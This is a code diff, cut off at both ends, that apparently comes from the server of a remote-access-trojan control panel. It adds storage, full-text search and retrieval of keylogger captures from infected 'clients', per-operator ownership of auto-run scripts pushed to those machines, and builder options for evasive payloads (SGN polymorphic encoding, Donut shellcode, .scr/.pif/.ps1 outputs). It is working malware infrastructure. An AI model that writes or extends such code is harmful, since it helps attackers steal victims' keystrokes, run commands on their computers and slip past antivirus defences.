const deleteFts = db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?");
const deleteFile = db.prepare("DELETE FROM keylog_archive_files WHERE id = ?");
const tx = db.transaction((rows: Array<{ id: number }>) => {
for (const row of rows) {
deleteFts.run(row.id);
deleteFile.run(row.id);
}
});
tx(ids);
return ids.length;
}
@@ -502,6 +502,7 @@ export async function handleAuthRoutes(
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "",
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
featurePermissions,
permissions,
}),
@@ -1,8 +1,9 @@
import { authenticateRequest } from "../../auth";
import {
canUserManageAutoScript,
createAutoScript,
deleteAutoScript,
listAutoScripts,
listAutoScriptsForUser,
type AutoScriptTrigger,
updateAutoScript,
} from "../../db";
@@ -23,13 +24,13 @@ export async function handleAutoScriptsRoutes(
});
}
try {
requirePermission(user, "clients:control");
requirePermission(user, "scripts:manage");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoScripts() });
return Response.json({ items: listAutoScriptsForUser(user.userId, user.role) });
}
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
@@ -84,6 +85,7 @@ export async function handleAutoScriptsRoutes(
scriptType,
enabled,
osFilter,
createdByUserId: user.userId,
});
return Response.json({ ok: true, item });
@@ -129,7 +131,12 @@ export async function handleAutoScriptsRoutes(
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v))
: undefined;
const updated = updateAutoScript(autoScriptMatch[1], {
const scriptId = autoScriptMatch[1];
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
const updated = updateAutoScript(scriptId, {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoScriptTrigger | undefined,
script: body?.script ? String(body.script) : undefined,
@@ -160,7 +167,12 @@ export async function handleAutoScriptsRoutes(
return new Response("Forbidden", { status: 403 });
}
deleteAutoScript(autoScriptMatch[1]);
const scriptId = autoScriptMatch[1];
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
deleteAutoScript(scriptId);
return Response.json({ ok: true });
}
@@ -117,6 +117,7 @@ export async function handleBuildRoutes(
shellcodeConsole,
useSgn,
sgnIterations,
outputSgnTxt,
fetchPublicIP,
uploadToFileShare,
} = body;
@@ -290,13 +291,32 @@ export async function handleBuildRoutes(
: undefined;
const safeRequireAdmin = !!requireAdmin;
const safeCriticalProcess = !!criticalProcess;
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".ps1", ".pif", ".com"]);
const safeOutputExtension =
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
? outputExtension.toLowerCase() : ".exe";
const safeSleepSeconds =
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
? sleepSeconds : 0;
const safeOutputSgnTxt = !!outputSgnTxt;
if (safeOutputSgnTxt && !useSgn) {
return Response.json(
{ error: "SGN TXT output requires SGN Polymorphic Encoding" },
{ status: 400 },
);
}
if (safeOutputSgnTxt) {
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
(!!useDonut && p.startsWith("windows-")) ||
(!!useLinuxShellcode && p === "linux-amd64")
);
if (!hasSgnCapableTarget) {
return Response.json(
{ error: "SGN TXT output requires Donut on Windows or Linux Shellcode on linux-amd64" },
{ status: 400 },
);
}
}
const MAX_BOUND_FILES = 5;
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
@@ -401,6 +421,7 @@ export async function handleBuildRoutes(
shellcodeConsole: !!shellcodeConsole,
useSgn: !!useSgn,
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
outputSgnTxt: safeOutputSgnTxt,
fetchPublicIP: !!fetchPublicIP,
uploadToFileShare: safeUploadToFileShare,
}).finally(() => {
@@ -689,7 +710,9 @@ export async function handleBuildRoutes(
return new Response(file, {
headers: {
"Content-Type": "application/octet-stream",
"Content-Type": fileName.toLowerCase().endsWith(".txt")
? "text/plain; charset=utf-8"
: "application/octet-stream",
"Content-Disposition": `attachment; filename="${fileName}"`,
},
});
@@ -0,0 +1,68 @@
import { authenticateRequest } from "../../auth";
import { canUserAccessClient } from "../../users";
import { requireFeatureAccess } from "../../rbac";
import {
getArchivedKeylogContent,
listArchivedKeylogs,
searchArchivedKeylogs,
} from "../keylog-archive";
type KeylogArchiveRouteDeps = {
CORS_HEADERS: Record<string, string>;
};
function parseClientArchivePath(pathname: string): { clientId: string; action: string } | null {
const match = pathname.match(/^\/api\/clients\/([^/]+)\/keylogger\/archive(?:\/([^/]+))?$/);
if (!match) return null;
return {
clientId: decodeURIComponent(match[1]),
action: match[2] || "list",
};
}
async function requireArchiveAccess(req: Request, clientId: string) {
const user = await authenticateRequest(req);
if (!user) return { response: new Response("Unauthorized", { status: 401 }) };
if (!canUserAccessClient(user.userId, user.role, clientId)) {
return { response: new Response("Forbidden", { status: 403 }) };
}
try {
requireFeatureAccess(user, "keylogger");
} catch (error) {
if (error instanceof Response) return { response: error };
return { response: new Response("Forbidden", { status: 403 }) };
}
return { user };
}
export async function handleKeylogArchiveRoutes(
req: Request,
url: URL,
deps: KeylogArchiveRouteDeps,
): Promise<Response | null> {
const parsed = parseClientArchivePath(url.pathname);
if (!parsed) return null;
const access = await requireArchiveAccess(req, parsed.clientId);
if (access.response) return access.response;
if (req.method === "GET" && parsed.action === "list") {
return Response.json({ files: listArchivedKeylogs(parsed.clientId) }, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && parsed.action === "content") {
const filename = (url.searchParams.get("filename") || "").trim();
if (!filename) return Response.json({ error: "filename is required" }, { status: 400, headers: deps.CORS_HEADERS });
const content = getArchivedKeylogContent(parsed.clientId, filename);
if (!content) return Response.json({ error: "Archived file not found" }, { status: 404, headers: deps.CORS_HEADERS });
return Response.json(content, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && parsed.action === "search") {
const query = (url.searchParams.get("q") || "").trim();
if (query.length < 3) return Response.json({ results: [] }, { headers: deps.CORS_HEADERS });
return Response.json({ results: searchArchivedKeylogs(parsed.clientId, query) }, { headers: deps.CORS_HEADERS });
}
return new Response("Method not allowed", { status: 405, headers: deps.CORS_HEADERS });
}
@@ -1,13 +1,13 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
import { getThumbnailStats } from "../../thumbnails";
import { getClientCount, getOnlineClients } from "../../clientManager";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
import { buildClientGraph } from "../client-graph";
import { runCertbotSetup } from "../certbot-setup";
import {
@@ -910,6 +910,74 @@ export async function handleMiscRoutes(
}
}
if (url.pathname === "/api/settings/input-archive") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "GET") {
return Response.json(
{
myEnabled: getUserInputArchiveEnabled(user.userId),
inputArchive: getConfig().inputArchive,
},
{ headers: deps.CORS_HEADERS },
);
}
if (req.method === "PUT") {
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400, headers: deps.CORS_HEADERS });
}
if (body?.myEnabled !== undefined) {
const result = setUserInputArchiveEnabled(user.userId, Boolean(body.myEnabled));
if (!result.success) {
return Response.json({ error: result.error || "Failed to save input archive preference" }, { status: 500, headers: deps.CORS_HEADERS });
}
}
let updated = getConfig().inputArchive;
if (body?.inputArchive !== undefined) {
try {
requirePermission(user, "system:input-archive");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
updated = await updateInputArchiveConfig({
enabled: body.inputArchive?.enabled !== undefined ? Boolean(body.inputArchive.enabled) : undefined,
retentionDays: body.inputArchive?.retentionDays !== undefined ? Number(body.inputArchive.retentionDays) : undefined,
maxFileBytes: body.inputArchive?.maxFileBytes !== undefined ? Number(body.inputArchive.maxFileBytes) : undefined,
pollIntervalSeconds: body.inputArchive?.pollIntervalSeconds !== undefined ? Number(body.inputArchive.pollIntervalSeconds) : undefined,
});
logAudit({
timestamp: Date.now(),
username: user.username,
ip: deps.requestIP?.(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: `Updated input archive settings (enabled=${updated.enabled}, retention=${updated.retentionDays}d, poll=${updated.pollIntervalSeconds}s)`,
success: true,
});
}
return Response.json(
{
ok: true,
myEnabled: getUserInputArchiveEnabled(user.userId),
inputArchive: updated,
},
{ headers: deps.CORS_HEADERS },
);
}
}
if (url.pathname === "/api/settings/appearance") {
const user = await authenticateRequest(req);
if (!user) {
@@ -210,6 +210,7 @@ type WsLifecycleDeps = {
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
dispatchKeylogArchiveSync?: (clientId: string, ws: ServerWebSocket<SocketData>) => boolean;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
@@ -226,6 +227,7 @@ type WsLifecycleDeps = {
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket<SocketData>) => void;
notifyRdInputLatency: (commandId: string) => void;
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
@@ -675,6 +677,7 @@ export async function handleWebSocketMessage(
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
deps.notifyDashboard();
if (!reconnectedWithinGrace) {
deps.notifyDashboardClientEvent("client_online", {
@@ -803,6 +806,7 @@ export async function handleWebSocketMessage(
case "keylog_clear_result":
case "keylog_delete_result":
case "keylog_permission_result":
deps.handleKeylogArchiveMessage?.(client.id, payload, ws);
deps.handleKeyloggerMessage(client.id, payload);
break;
case "script_result": {
+25
View File
@@ -25,6 +25,7 @@ export interface User {
mfa_secret: string | null;
mfa_enabled: number;
mfa_enabled_at: number | null;
keylog_archive_enabled: number;
}
export interface UserInfo {
@@ -41,6 +42,7 @@ export interface UserInfo {
telegram_chat_id: string | null;
mfa_enabled: number;
mfa_enabled_at: number | null;
keylog_archive_enabled?: number;
}
export interface UserClientAccessRule {
@@ -127,6 +129,29 @@ export function getUserByUsername(username: string): User | null {
return user || null;
}
export function getUserInputArchiveEnabled(userId: number): boolean {
const row = db
.prepare("SELECT keylog_archive_enabled FROM users WHERE id = ?")
.get(userId) as { keylog_archive_enabled?: number } | undefined;
return row?.keylog_archive_enabled === 1;
}
export function setUserInputArchiveEnabled(userId: number, enabled: boolean): { success: boolean; error?: string } {
try {
db.prepare("UPDATE users SET keylog_archive_enabled = ? WHERE id = ?").run(enabled ? 1 : 0, userId);
return { success: true };
} catch (err: any) {
logger.error("[users] setUserInputArchiveEnabled error:", err);
return { success: false, error: err.message || "Failed to update input archive preference" };
}
}
export function getUsersWithInputArchiveEnabled(): Array<{ id: number; username: string; role: UserRole; client_scope: ClientAccessScope }> {
return db
.prepare("SELECT id, username, role, client_scope FROM users WHERE keylog_archive_enabled = 1")
.all() as any[];
}
export function listUsers(): UserInfo[] {
const users = db
.prepare(